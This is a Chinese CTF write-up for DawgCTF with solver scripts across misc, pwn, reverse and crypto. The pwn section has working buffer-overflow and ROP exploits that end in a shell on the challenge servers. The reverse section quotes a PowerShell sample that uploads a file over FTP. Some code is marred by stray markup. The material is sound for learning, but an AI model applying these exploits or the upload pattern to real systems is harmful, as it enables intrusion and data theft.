Misc
DiscordChallenge | 解出
进入网站,找到 flag 频道拿到 flag

DawgCTF{3nj0y_th3_c0mp3t1t10n!}
Challenge Files? | 解出

打开题目提示,我们打开提示拿到 flag
Don’t Forget About the Hints! | 解出
依然是打开提示得到 flag:
DawgCTF{nice_job_thats_the_hint}
Don’t Touch My Fone | 解出

附件是一个 wav 音频文件,根据题目描述可知为 dtmf 拨号音隐写。
使用 dtmf2num 进行解析,得到 flag
DawgCTF{4104553500}
Mystery Signal I | 解出
得到一个 wav 音频文件,Audacity 打开,明显的隐写:

看上去是摩斯密码:.-../../…/-/./-./-.-./.-/.-././..-./..-/.-../.-../-.–
进行解密:

得到 flag:
DawgCTF{LISTENCAREFULLY}
Spectral Secrets | 解出
音频隐写,Audacity 打开,查看频谱图得到 flag:

DawgCTF{4ud4c17y_my_b310v3d}
Caddyshack | 解出

根据题目,我们需要连接到caddyshack.umbccd.net的服务器,然而并不知道端口号,
使用端口扫描,扫描所有的端口:nmap -p- ``caddyshack.umbccd.net

发现 70/tcp (gopher 协议) 端口开放。
使用 nc 连接服务器,输入“/”:

发现/Flag.txt,重新连接输入/Flag.txt 得到 flag:

DawgCTF{60ph3r_15_n07_d34d!}
Mystery Signal II | 解出
依旧是音频隐写,可以听出来是 SSTV 隐写
使用 RX-SSTV 接受,输出图像:

得到 flag:
DawgCTF{5l0w_5c4nn1n6}
My Cat Trashed My File! | 未解出
本质上是对 vim 操作的逆向:
第一个文件给了键位:

第二个文件是操作后的 flag:

由于逆向比较困难,我们可以尝试正向处理:
整个 flag 有 37 个字符:

我们假设初始 flag 是:abcdefghijklmnopqrstuvwxyzABCDEFGHIJK
按照操作移位,那么得到的格式和移位后的 flag 一一对应就可以得到原初的 flag:
Cipher For Good | 未解出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
A -> JOY
B -> aN_
C -> ZM
D -> rN
E -> ɛN | EN
F -> RN0EIZ
G -> cX3P
H -> mZLuEC
I -> E0Ql
J -> DawgCTF{
K -> Ws
L -> CpQ
M -> ɛE
N -> Zɛ | ɛ
O -> m0v13_n1gh7
P -> QCD
Q -> NCE
R -> NT
S -> GUBF
T -> t
U -> _K_
W -> N1E
X -> E0CNHCR
Y -> }
Z -> ɛ
|
Look Long and Prosper | 未解出
我们需要找到一个名叫 Wikikenobi 的用户给我们留下了一条关于钥匙(key)的线索,而密文是:
aiye_hoav_aqd_advi
应该是维吉尼亚密码,而关键在于找到 key


Pwn
internsProject | 解出
- 观察伪代码发现只检查第一个命令,但有一次性处理多个命令的代码,所以一次性输入'1 2’即可拿到 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./internsProject")
io = gdb.debug("./internsProject",""" decompiler connect ida --host 192.168.241.85 --port 3662
b handleOption
c""")
def mune(choice):
io.sendlineafter(b"Press Enter to submit:",choice)#str(choice).encode())
mune(b"1 2")
io.interactive()
|
frame_trap | 解出
-
题目实现一个回合制的 pk,目标是打败 bot,双方各 100 health
-
开始有个 gets 溢出,溢出特定数值可以提升攻速,还可以随意改自己生命值
-
使用技能 5 有概率砍掉 bot 50 health
-
再 bot 被砍死之前需要使用 6 成功闪掉 bot 一次攻击,这样 bot 死掉之后会给 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./frame_trap")
io = remote("connect.umbccd.net",25699)
'''
io = gdb.debug("./frame_trap",""" decompiler connect ida --host 192.168.241.85 --port 3662
b *0x00000000040168E
c""")
'''
payload = p64(0x525241504F545541) + p64(0x59) + p64(0xfffffff)*3
io.sendlineafter(b"=== Frame Trap ===",payload)
def mune(choice):
io.sendlineafter(b"(6) Dodge",str(choice).encode())
#或手动操作...
mune(6)
mune(5)
mune(5)
io.interactive()
|
chall | 解出
- 这道题像是更像是一个教程,一步步引导如何拿到 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./chall")
io = remote("connect.umbccd.net",22237)
'''
io = gdb.debug("./chall",""" decompiler connect ida --host 192.168.241.85 --port 3662
b *0x4011Ea
c""")
'''
elf = ELF("./chall")
io.sendlineafter(b">",b"2")
io.sendlineafter(b">",b"1")
io.sendlineafter(b">",b"4")
io.sendlineafter(b"0x401401",b"\x00"*0x98+p64(0x401406))
#DawgCTF{C0ngR4tul4t10ns_
a1 = 0xDEADBEEF
rdi = 0x00000000004017d6
rsi = 0x00000000004017d8
rdx = 0x00000000004017da
io.sendlineafter(b"Continue:",b"\x00"*0x28+p64(rdi)+p64(a1)+p64(0x00000000401319))
#d15c1p13_y0u_
payload = b"\x00"*0x38 + p64(rdi) + p64(0xDEADBEEF)
payload += p64(rsi) + p64(0xDEAFFACE) + p64(rdx) + p64(0xFEEDCAFE)
payload += p64(0x4011Eb)
io.sendlineafter(b"Final Test:",payload)
#4r3_r34dy_2_pwn!}d15c1p13_y0u_u
io.interactive()
|
clobber | 解出
-
看似没法控制 rdi,导致无法 leak libc
-
可以选择控制 rbp 进而控制 gets 函数和 puts 函数的 rdi,但是紧接着会清零 rax 然后 leave ret
- 可以看到 rbp 和 leave_ret 联系紧密,难点在于顾此失彼
- 方便起见
- gets 和 puts 一起调用加上 leave_ret 称 magic1
- 调用 puts 加上 leave_ret 称 magic2
-
No pie,在 elf 内存中寻找 libc 相关地址,最终选择 stdout 和 stderr 这里

-
开始先栈迁移到地址已知位置,溢出大量 start 函数地址,这样后续使用 magic1 的 leave_ret 可以迁移到这里,继续控制执行流,也不担心被 stack 结构覆盖掉
-
选择利用 magic1 将 0x404068 布置为 rop 链,然后立即使用 leave_ret 栈迁移到前面布置的大量 start 地址处,防止调用函数破坏_IO_2_1_stderr_地址
- 这里的 rop 链需要实现栈迁移,不能直接调用 main 或 magic2,这是由于距离 r–的段很近,会出现段错误
-
再次栈迁移到 stdout,利用 magic2 leak 并算出 libc_base,随后走 rop 拿 flag
- 本地可以 orw 但是不能 getshell
- 远程放 flag 的文件叫 flag.txt,但是不能 orw,好在可以 getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./clobber")
io = remote("clobber.umbccd.net",13373)
'''
io = gdb.debug("./clobber",""" decompiler connect ida --host 192.168.241.85 --port 3662
b main
c
c
c
c""")
'''
elf = ELF("./clobber")
libc = ELF("./libc.so.6")
leave_ret = 0x00000000004011e0
gets = elf.plt["gets"]
puts = elf.plt["puts"]
main = elf.sym["main"]
success(f"main => {hex(main)}")
mov_ = 0x00000000004011d3
ret = 0x000000000040101a
## 0x0040115c 015dc3 add dword [rbp - 0x3d], ebx
## 0x0040115f 90 nop
## 0x00401160 c3 ret
magic = 0x0040115c
rbp = 0x000000000040115d
start = 0x000000000401090
fake_stack = 0x404500
start_addr = 0x404848
flag_addr = 0x404d08
sleep(0.1)
io.sendline(b"\x11"*0x20+p64(fake_stack)+p64(0x4011be))
sleep(0.1)
io.sendline(b"\x22"*0x28+p64(start)*0x100+b"flag\x00\x00\x00\x00")
sleep(0.1)
io.sendline(b"\x33"*0x20+p64(0x404068+0x20)+p64(0x4011be))
sleep(0.1)
io.sendline(p64(rbp)+p64(start_addr+0x50)+p64(leave_ret)+b"\x44"*8+p64(start_addr)+p64(leave_ret))
sleep(0.1)
io.sendline(b"\x55"*0x20+p64(0x404040+0x20)+p64(0x4011cf)+p64(main))
io.recvuntil(b"UUUUUUUUUUUUUUUUUUUUUUUUU")
io.recvuntil(b"\x0a")
libc_base = u64(io.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00")) - 0x1ce5c0
rdi = libc_base + 0x000000000002a885
rsi = libc_base + 0x000000000002c361
rdx = libc_base + 0x0000000000137cd9
bin_sh = libc_base + 0x00000000001907e8
system = libc_base + libc.sym["system"]
pop_pop = libc_base + 0x000000000002abc2
open_ = libc_base + libc.sym["open"]
write = libc_base + libc.sym["write"]
read = libc_base + libc.sym["read"]
success(f"libc_base => {hex(libc_base)}")
orw = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0)
orw += p64(open_)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(0x405010)
orw += p64(rdx) + p64(0x100) + p64(read)
orw += p64(rdi) + p64(1) + p64(rsi) + p64(0x405010)
orw += p64(rdx) + p64(0x100) + p64(write)
sys = p64(pop_pop)*3 + p64(rdi) + p64(bin_sh) + p64(system)
sleep(0.1)
io.sendline(b"\xaa"*0x28+sys)
io.interactive()
|
Reverse
Suspicious scripts | 解出
通过 Base64 隐藏实际的 PowerShell 脚本,并使用 Invoke-Expression ([char]105+[char]101+[char]120 就是 iex) 动态执行隐藏的代码

反转字符串,解码 a

try${F=[char]67+[char]85+[char]92+[char]08+[char]79+[char]911+[char]511+[char]123+[char]51+[char]110+[char]99+[char]48+[char]100+[char]15+[char]100+[char]51+[char]95+[char]112+[char]511+[char]53+[char]99+[char]114+[char]94+[char]112+[char]611+[char]251+[char]46+[char]116+[char]102+“ftp://user:scary@DawgCTF{Wr4pp3d_5c1pt5!}/in/pass.zip”;$wcl=[System.Net.WebClient]::new();$uri=[System.Uri]::new($ftp);$wcl.UploadFile($uri,“cat{eix}”);
我愚蠢了,ai 给我反转错了
DawgCTF{Wr4pped_5c1pt5!}
shinyclean_budget | 解出
查壳 AMD64,啥都没加,上 ida
rust 编写的,有点乱,但是逻辑可以看出来只有一个异或

1
2
3
|
data=[0x7B,0x5E,0x48,0x58,0x7C,0x6B,0x79,0x44,0x79,0x6D,0xC,0xC,0x60,0x7C,0xB,0x6D,0x60,0x68,0xB,0xA,0x77,0x1E,0x42]
for i in range(len(data)):
print(chr(data[i]^0x3F),end='')
|
DawgCTF{FR33_C4R_W45H!}
Evanesco | 解出
题目说 spilled my invisibility potion all over it……emmm 他把 flag 藏起来了
我觉得有点像 misc,刚才看这个题没找到加密函数
我有一点想法,你和我找一下

是不是很像 flag 的一部分,发现所有的数据都有 80A0F3,猜测出题人给 flag 加了一些东西变成不可打印字符,达到“隐形”的效果,所以根据 DawgCTF 这个开头进行猜测,发现把每个大数的前两个字节减去 0x40 会变成上面的一串字符
1
2
3
4
5
6
7
8
9
|
0x8481A0F38180A0F3, 0xB781A0F3A181A0F3,
0x8381A0F3A781A0F3, 0x8681A0F39481A0F3,
0xB581A0F3BB81A0F3, 0xA381A0F39F81A0F3,
0xAE81A0F3A181A0F3, 0xB481A0F39F81A0F3,
0xA781A0F3A181A0F3, 0xA281A0F39F81A0F3,
0xB481A0F3B581A0F3, 0xB581A0F39F81A0F3,
0xA381A0F39F81A0F3, 0xAE81A0F3A181A0F3,
0x9F81A0F3B481A0F3, 0xA981A0F3A881A0F3,
0xA581A0F3A481A0F3, 0xBF81A0F3BD81A0F3,
|
卧槽,出了,脑洞()我直接把大数重复的 81A0F3 删了,每行剩四个,然后剩下的字节-0x40
1
2
3
4
5
6
7
8
9
10
11
|
data=[0x84,0x81, 0xB7,0xA1,
0x83,0xA7,0x86,0x94,
0xB5,0xBB,0xA3,0x9F,
0xAE,0xA1,0xB4,0x9F,
0xA7,0xA1,0xA2,0x9F,
0xB4,0xB5,0xB5,0x9F,
0xA3,0x9F,0xAE,0xA1,
0x9F,0xB4,0xA9,0xA8,
0xA5,0xA4,0xBF,0xBD]
for i in range(len(data)):
print(chr(data[i]-0x40),end='')
|
但是感觉要修改一下这个顺序,我觉得需要换位
我说了要丢弃一些,两两换位,第一个大数就不规律,
脚本跑出来 DAwaCgFTu{c_nat_gab_tuu_c_na_tihed}
两两换位,应该是这个
出了,就是这个
DawgCTF{u_can_tag_but_u_cant_hide}
真无敌了,做上 misc 了,如果不是我喜欢幻想,都不一定想的到(
web_challenge | 解出
主逻辑是这个,根据索引数组查另一个字符数组:

脚本也很好写,就是不知道为什么缺了最后的},加上就好了
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#include <stdio.h>
int main() {
unsigned char box[] = "jrg/!7%[3=F,|2uAmv5\\Y)X~]S_wD\'*E\"GOehz>l@W8q`4cCV;fQ6&0^R+toB#(dp1K$bHN:<PLnUTyZi }?ka.9IJ-{Mxs";
unsigned char data[39] = {
0x1C, 0x55, 0x1B, 0x02, 0x2F, 0x4D, 0x0A, 0x5B, 0x46, 0x22, 0x1A, 0x08, 0x19, 0x2F, 0x2D, 0x49,
0x08, 0x1A, 0x0A, 0x38, 0x22, 0x5C, 0x1A, 0x2D, 0x19, 0x19, 0x08, 0x5C, 0x3C, 0x4A, 0x14, 0x1A,
0x29, 0x08, 0x3C, 0x1C, 0x08, 0x30, 0x19, 0x41
};
for (int i = 0; i < 39; i++) {
printf("%c", box[data[i]]);
}
return 0;
}
|
DawgCTF{NO_3SC4P3_FROM_4SS3MBLY_W3BD3VS}
Shiny clean Club | 解出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import hashlib
## 硬编码的 XOR 加密数据(25字节)
encrypted = bytes([
0xCF, 0x09, 0x1E, 0xB3, 0xC8, 0x3C, 0x2F, 0xAF, 0xBF, 0x24, 0x25, 0x8B, 0xD9, 0x3D, 0x5C, 0xE3,
0xD4, 0x26, 0x59, 0x8B, 0xC8, 0x5C, 0x3B, 0xF5, 0xF6
])
## 目标 SHA256(校验用)
target_sha256 = bytes.fromhex("61cd3bdb1272953e049b0185b12703f8f6454c7df95c38cc042423c13e05ee51")
## 已知 flag 前8字节是 "DawgCTF{",用前4字节计算密钥
prefix = b"DawgCTF{"
key_bytes = bytes([encrypted[i] ^ prefix[i] for i in range(4)]) ## 计算密钥
key = int.from_bytes(key_bytes, 'little') ## 转换为 u32 整数
## 用密钥解密全部25字节
decrypted = bytes([encrypted[i] ^ key_bytes[i % 4] for i in range(25)])
## 验证 SHA256 是否匹配
if hashlib.sha256(decrypted).digest() == target_sha256:
print(f"[+] XOR Key: {key} (hex: 0x{key:x})")
print(f"[+] Decrypted Flag: {decrypted.decode()}")
else:
print("[-] Failed: SHA256 mismatch. Check encrypted data or target hash.")
|
DawgCTF{4LL_RU57_N0_C4R!}
ProEditon | 解出
输入 DawgCTF{0123456789abc
发现加密后的值为

而密文
1
2
3
|
0xea, 0xd9, 0x31, 0x22, 0xd3, 0xe6, 0x97, 0x70,
0x16, 0xA2, 0xA8, 0x1B, 0x61, 0xFC, 0x76, 0x68,
0x7b, 0xab, 0xb8, 0x27, 0x96
|
前八个完全一致,
应该是根据前面的字节加密后一位这样
正确的,和前面字节有关
这 rust 真难看……一开始的 while 是将输入读取到另一个线程,后面是密文比较,只剩中间一段了
爆破爆出来了,用的 gdb,思路就是从前往后一位一位确定,每次输入都只改变末尾字符:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
set pagination off
set logging overwrite on
set logging file gdb_final.log
set logging enabled on
## 配置参数
set $flag = {0xea, 0xd9, 0x31, 0x22, 0xd3, 0xe6, 0x97, 0x70,0x16, 0xA2, 0xA8, 0x1B, 0x61, 0xFC, 0x76, 0x68,0x7b, 0xab, 0xb8, 0x27, 0x96}
set $buffer_addr = 0x5555555cedd0
set $break_addr = 0x0000555555561a0a
## 初始化已知部分
set $input = "DawgCTF{"
set $pos = 8
set $max_len = 21
## 启动程序并设置初始断点
file ./shinyclean_pro
break *$break_addr
run <<< "DawgCTF{AAAAAAAAAAAAA"
## 主爆破循环
while $pos < $max_len
set $found = 0
set $c = 0x7f
while $c >= 0x20
python
import gdb
gdb.execute("python input_str = gdb.parse_and_eval('$input').string()")
gdb.execute("python c_char = int(gdb.parse_and_eval('$c'))")
gdb.execute("python pos = int(gdb.parse_and_eval('$pos'))")
gdb.execute("python pad_len = 21 - pos - 1")
tmp = input_str + chr(c_char) + '\x00' * pad_len
with open('/tmp/gdb_input.txt', 'wb') as f:
f.write(tmp.encode('latin-1'))
end
printf "Testing: '"
shell cat /tmp/gdb_input.txt | xxd -p
printf "' at pos %d (char 0x%02x)\n", $pos, $c
## 运行
run </tmp/gdb_input.txt
## 得到对应位置加密后的字节
set $enc_byte = *(unsigned char*)($buffer_addr + $pos)
printf " Encrypted[%d] = 0x%02x (Target: 0x%02x)\n", $pos, $enc_byte, $flag[$pos]
## 比较与密文是否相等
if $enc_byte == $flag[$pos]
set $found = 1
python
input_str = gdb.parse_and_eval("$input").string()
c_char = int(gdb.parse_and_eval("$c"))
gdb.execute('set $input = "{}%c"'.format(input_str) % c_char)
end
printf "\n>>> FOUND: pos %d = '0x%02x' <<<\n\n", $pos, $c
set $pos = $pos + 1
break
else
set $c = $c - 1
end
end
if !$found
printf "\n!!! FAILED at position %d !!!\n", $pos
quit
end
set $found = 0
delete breakpoints
break *$break_addr
end
printf "\n>>>> FINAL FLAG: %s <<<<\n", $input
quit
|
输入 gdb -q ./shinyclean_pro -x crack.gdb 运行


DawgCTF{S0000_CL43N!}
Crypto
BabyRSA1 | 解出
解二元一次方程组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from Crypto.Util.number import *
from sympy import *
N = 82012538447359821165849738352756467719053530066892750177578020351019136006996881441650616631012602654920370573185549134046659875914860421394782338722082599261391182262036434549525388081948429632803770833590739702562845306267418403878169267641023564108136843672261999376998284926318313315387819024961709097101
e = 65537
ct = 16978597269030388872549064541934623430749704732655891928833779185083334396093332647023718343748730349576361193985691953617733288330780060179716905267988202710452028943623598185277149645724247199640730959820455032298145782015884558972868277752456856802145299858618876838286795962548300080924547387662096543717
a = 149738867837230590596162146900
b = 743799113257239690478459408953
c = 351498883480247386367558572595
d = 1175770398223262147164171561358
x = 6836728736678282915469852947219518538837808913380425472016857154639492051766923345186030197640091719641785981050969319578519968972834509899732176840511342124020344870655741074618585883
y = 12203451977234755811396526665700561863946871005728263879373008871704520841041885029745864562375412192520795388389509063064717933869698154304534842876137996238014648925041725231457010083
p,q=symbols('p q')
f1=Eq(x,a*p+b*q)
f2=Eq(y,c*p+d*q)
p1,q1=solve((f1,f2),(p,q))[p],solve((f1,f2),(p,q))[q],
print(long_to_bytes(pow(ct,int(inverse(e,(q1-1)*(p1-1))),N)))
|
DawgCTF{wh0_s41d_m4th_15_us3l3ss?}
Cantor’s Pairadox | 解出
按照加密逻辑逆回去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
from Crypto.Util.number import *
from sympy import *
from sage.all import sqrt, floor
def getTriNumber(n):
return n * (n + 1) // 2
def unpair(code):
S = floor((sqrt(8 * code + 1) - 1) / 2)
T_S = getTriNumber(S)
n2 = code - T_S
n1 = S - n2
return n1, n2
def unpair_array(encoded_arr):
decoded = []
for code in encoded_arr:
n1, n2 = unpair(code)
decoded.append(n1)
decoded.append(n2)
return decoded
def unpad_from_power_of_two(arr):
while len(arr) > 0 and arr[-1] == 0:
arr.pop()
return arr
def decode(encoded_arr, rounds=6):
temp = encoded_arr.copy()
for _ in range(rounds):
temp = unpair_array(temp)
temp = unpad_from_power_of_two(temp)
return temp
encoded = [4036872197130975885183239290191447112180924008343518098638033545535893348884348262766810360707383741794721392226291497314826201270847784737584016]
decoded = decode(encoded)
print(''.join(chr(c) for c in decoded))
|
Dawg{1_pr3f3r_4ppl3s_t0_pa1rs_4nyw2y5}
BabyRSA2 | 解出
爆破出 $\phi(N)$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from Crypto.Util.number import *
from sympy import *
e = 58271
d = 16314065939355844497428646964774413938010062495984944007868244761330321449198604198404787327825341236658059256072790190934480082681534717838850610633320375625893501985237981407305284860652632590435055933317638416556532857376955427517397962124909869006289022084571993305966362498048396739334756594170449299859
N = 119082667712915497270407702277886743652985638444637188059938681008077058895935345765407160513555112013190751711213523389194925328565164667817570328474785391992857634832562389502866385475392702847788337877472422435555825872297998602400341624700149407637506713864175123267515579305109471947679940924817268027249
c = 107089582154092285354514758987465112016144455480126366962910414293721965682740674205100222823439150990299989680593179350933020427732386716386685052221680274283469481350106415150660410528574034324184318354089504379956162660478769613136499331243363223860893663583161020156316072996007464894397755058410931262938
e_priv = 0x10001
for k in range(1,e):
if (e<em>d-1)%k==0:</em>
* possible_phi=(e*d-1)//k
d_priv=int(inverse(e_priv,possible_phi))
m=long_to_bytes(pow(c,d_priv,N))
if b'DawgCTF{' in m:
print(m)
break
|
DawgCTF{kn0w1ng_d_1s_kn0w1ng_f4ct0rs}
Guess Me If You Can | 解出
LCG,得到五个连续随机数把 LCG 参数求出来即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
from operator import invert
from gmpy2 import *
from sympy import *
from Crypto.Util.number import*
from pwn import *
io=remote('connect.umbccd.net',25185)
def register(name):
io.sendlineafter(b'>',b'1')
io.sendlineafter(b'Enter your name:',name)
io.recvuntil(b'Your secret password is: ')
key=int(io.recvline().strip().decode())
return key
x=[]
names=[b'uky',b'bingbing',b'bangbang',b'uky_TheFirstSquadOutside',b'Deceit']
for i in range(len(names)):
key=register(names[i])
x.append(key)
m=gcd((x[1]-x[0])*(x[3]-x[2])-(x[2]-x[1])**2,(x[2]-x[1])*(x[4]-x[3])-(x[3]-x[2])**2)
if not isprime(m):
m=max(factorint(m))
if gcd(x[1]-x[0],m)==1:
a=(x[2]-x[1])<em>inverse(x[1]-x[0],m)%m</em>
* b=(x[1]-a*x[0])%m
xx=x[0]
xx=(xx-b)*inverse(a,m)%m
io.sendlineafter(b'>',b'2')
io.sendlineafter(b'Enter your name:',b'admin')
io.sendlineafter(b'Enter your password:',str(xx).encode())
io.interactive()
|
DawgCTF{PRNGs_d0nt_m4k3_f0r_g00d_p455w0rd5}
The Birds | 解出


DawgCTF{there_is_no_escape}
THE MAC FAC | 解出
这里的 MAC_KEY 是铁定解不出来的了,只能另寻出路了。经过分析这里就是异或,我们首先要自己输入一个信息和 iv 向量,在之后的 log 中得到加密后的结果,这里加密是异或。根据异或的特性只要对加密后的 iv 与我们输入的 iv 再次异或(此处为字符串异或)就可以得到 XOR_KEY,之后就可以反过来解出 admin_msg 与 admin_iv,之后在带回 1 中生成指定的 tag,随后的检验就很简单了。
有点像是整活的手搓(


我来!!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
from Crypto.Util.number import*
from Crypto.Util.strxor import *
from Crypto.Util.Padding import *
from pwn import *
io=remote('connect.umbccd.net',27811)
io.sendlineafter(b'>',b'1')
io.sendlineafter(b'Message: ',b'UKY_UKY_UKY_UKY_')
io.sendlineafter(b'IV (in hex): ',b'12345678123456781234567812345678')
io.sendlineafter(b'>',b'3')
io.recvuntil(b'User generated a MAC (msg=')
en_admin_msg=bytes.fromhex(io.recvuntil(b',')[:-1].strip().decode())
io.recvuntil(b'IV=')
en_admin_IV=bytes.fromhex(io.recvline().strip().decode())
io.recvuntil(b'User generated a MAC (msg=')
en_msg=bytes.fromhex(io.recvuntil(b',')[:-1].strip().decode())
io.recvuntil(b'IV=')
en_IV=bytes.fromhex(io.recvline().strip().decode())
IV=bytes.fromhex('12345678123456781234567812345678')
xor_key=strxor(IV,en_IV)
def xor(data: bytes, key: bytes) -> bytes:
repeated_key = (key * (len(data) // len(key) + 1))[:len(data)]
return strxor(data, repeated_key)
admin_msg=xor(en_admin_msg,xor_key)[:-13]
admin_IV=xor(en_admin_IV,xor_key)
io.sendlineafter(b'>',b'1')
io.sendlineafter(b'Message: ',admin_msg)
io.sendlineafter(b'IV (in hex): ',admin_IV.hex().encode())
io.recvuntil(b'The MAC Tag for your message is: ')
admin_tag=io.recvline().strip()
M=b'aaaaaaaaaaaaaaa'
token=pad(M,16)+b'AC is my password. Please verify me'
IV=strxor(strxor(b'At MAC FAC, my M',pad(M,16)),admin_IV)
io.sendlineafter(b'>',b'4')
io.sendlineafter(b'Admin passphrase: ',token)
io.sendlineafter(b'IV (in hex): ',IV.hex().encode())
io.sendlineafter(b'Tag (in hex): ',admin_tag)
io.interactive()
|
DawgCTF{m0r3_r4nd0mne55_15_n0t_4lw4y5_m0r3_53cur3}
Jokesmith | 解出
我是孙子,这就是 CRT(中国剩余定理)
交互过程中的"Here is our jokes! Show it to a friend to make them laugh!“这句话表明密文 c 加密的是上面交互的内容
只要保证每一次交互内容相同,就能保证明文相同,那么多得到几组 N 和 c 就可以进行广播攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
from Crypto.Util.number import *
from sympy import *
from gmpy2 import *
c1 = 63645625098177679647469462796215881944669578588885772516583483861566480001203639946438772233897012820259599264199950598686846199808689487923280719403079321819526628187334756615975649098788792277791902166141637374628293711199314838417865479503789433768110035407188222210633081250240260824932007929054599930139
N1 = 85120638215055074196354065072458042697328904636388672947432731502093482757028848791510510025752754800451184113853825289244029624441674497864449624210959255309869705962791726337037102617638511033393889107084518021810810701519690946648857991558033738779359664384671050743672960785973731664289290613393901115991
c2 = 71789245070547140813866470223476175248942694387268774160360107413984988305701369629240362304788243289809105331581315736985748230516613310166962120603009039424936948576524847818580666676859337244409650570811889231691430003289179901192524562405635227088041349606742586036110964726348100452071157026884459724962
N2 = 150802901220394839678905828647196656837237911423058321067611605755465437047846029413471839424205437919062223803123254720192209358697160075341503730879864124621069594575833872846486401637050424947391415788055606670477731593564971097930332108756368829313460481079098548065358649361391651447125271515317662060397
c3 = 78891013081939311807849897419764195819468112222606854905751956529722855835537112974500373870093054502382939087309716092630790473847225741121228190034337973071049673356924709059085751225535082183823874597799332711439112723286013620847930449015575034099706896741305066447905153175052527885062033635472694674056
N3 = 84928420244989376819718841364575275588383957154268352453765447042479855341354821197776763356148555946692020182483698038633663607825197783938371517738468194720287817307695703965162176783395894382265892875397885620764086152927690272140477617751231493132256164487461015552185127648554778184448153230951745403181
c4 = 46531045756099815050358582648501231135405396275970946530497320361757487600731919190584269216405874187023582203353509316282848829638622466842480301847022779643574044377282186526424708987748298650055974409914116135477922559248988458037525960221571380569780674052559251815899908319073008313460092908854874627775
N4 = 104643085631417305187335334754090217711206019109093143249428140762451799830401499771317417180911880873609299425598709279093763440879261092252480054983601303508939751167764645937253524202686926514984991163131937074252669893994981247971060449197887188558286760312253945610042753271944936581692917250726799555317
c5 = 100741138601245365798565624918680621128083185813395901811981370376203443378397808917745669787352780020731408245659789900724599836107894294008792055012015103413209290447409021553722990574480379080805409530753416607687528850372107215524638378156236179737433199818728023444134242364392832394931121179643496683413
N5 = 102920492275961111453470455863237039715247130532516556357506017668418369154843215104803074576212895955783512354931295990725159113508415396771770212502937422700972922434649915497006892677239409027902001008855595528015402862665926982730526764887799520660279683899272652864975203231053517301845691887747823768537
c6 = 44174941088315866059712924583544302566444793254485357006302291707569169154043284839949754202748045227755140217327124087559818727883584553228201423476436451908563846575767169856173036196167565102612249677832658475855536859150765731120680766569566413865657219423403157963713378116705716890564949976659460400142
N6 = 77163042577782142253811146263967936961404033639489368404779079457200647229223302656738451575646397821193853659730396056186679605069862723174843128765566660977678236187809956916469651671367723406991009607015811103058598521770445208569474217947145853805996456461033726918043688488987803786327972099127030343667
c7 = 134952850549381295677447675267100465852291469208110968958627698634388426840366427611600612862933671951551575996045707439015801336283920038220571401971203062911152455044474120917920787898055133778761059999200146913846139414467485747664072295210131634765337770577094614187812414917801083924904241326099763738450
N7 = 162268346724276124462969821372647384834968416405281908036643559398473702429535258169257738952310066242194652635775777213137247704220924269486512119997316503424555469144600398975481492025734602101674495269076434747150576098059889792107719629651090671983857040326664410158192172782717020728458299184589275978001
c8 = 67082850457940058003095850487517810917284342430733022760149568959718356385086886091799484757305466795971037657090856416507127718146746904383619319558726596029376702405193156425028169949613614924119746013028216576237546747075379322795984937647751911061348903191422806584790735541818282017108827983442116425331
N8 = 130686767048236730578883642285372789274779574749595371696704533139782181469853132557237413414437471931940899239299363149286290989656716857373611967584498645787147303434355600388246305420365985414888703617082276063909543824849242409820550361837571899843894871013289595903331878422620665241482341553795132171233
n_list=[N1,N2,N3,N4,N5,N6,N7,N8]
c_list=[c1,c2,c3,c4,c5,c6,c7,c8]
e=3
def crt(n_list, c_list):
n = 1
for i in n_list:
n *= i
N = []
for i in n_list:
N.append(n//i)
t = []
for i in range(len(n_list)):
t.append(invert(N[i], n_list[i]))
summary = 0
for i in range(len(n_list)):
summary = (summary + c_list[i]*t[i]*N[i]) % n
return summary
M = crt(n_list,c_list)
m = iroot(M,e)[0]
flag = long_to_bytes(m)
print(flag)
|
DawgCTF{h4h4h4h4_s0_funny!!!!!!!!!!!}
This Pokemon Team Is My Roman Empire | 未解出
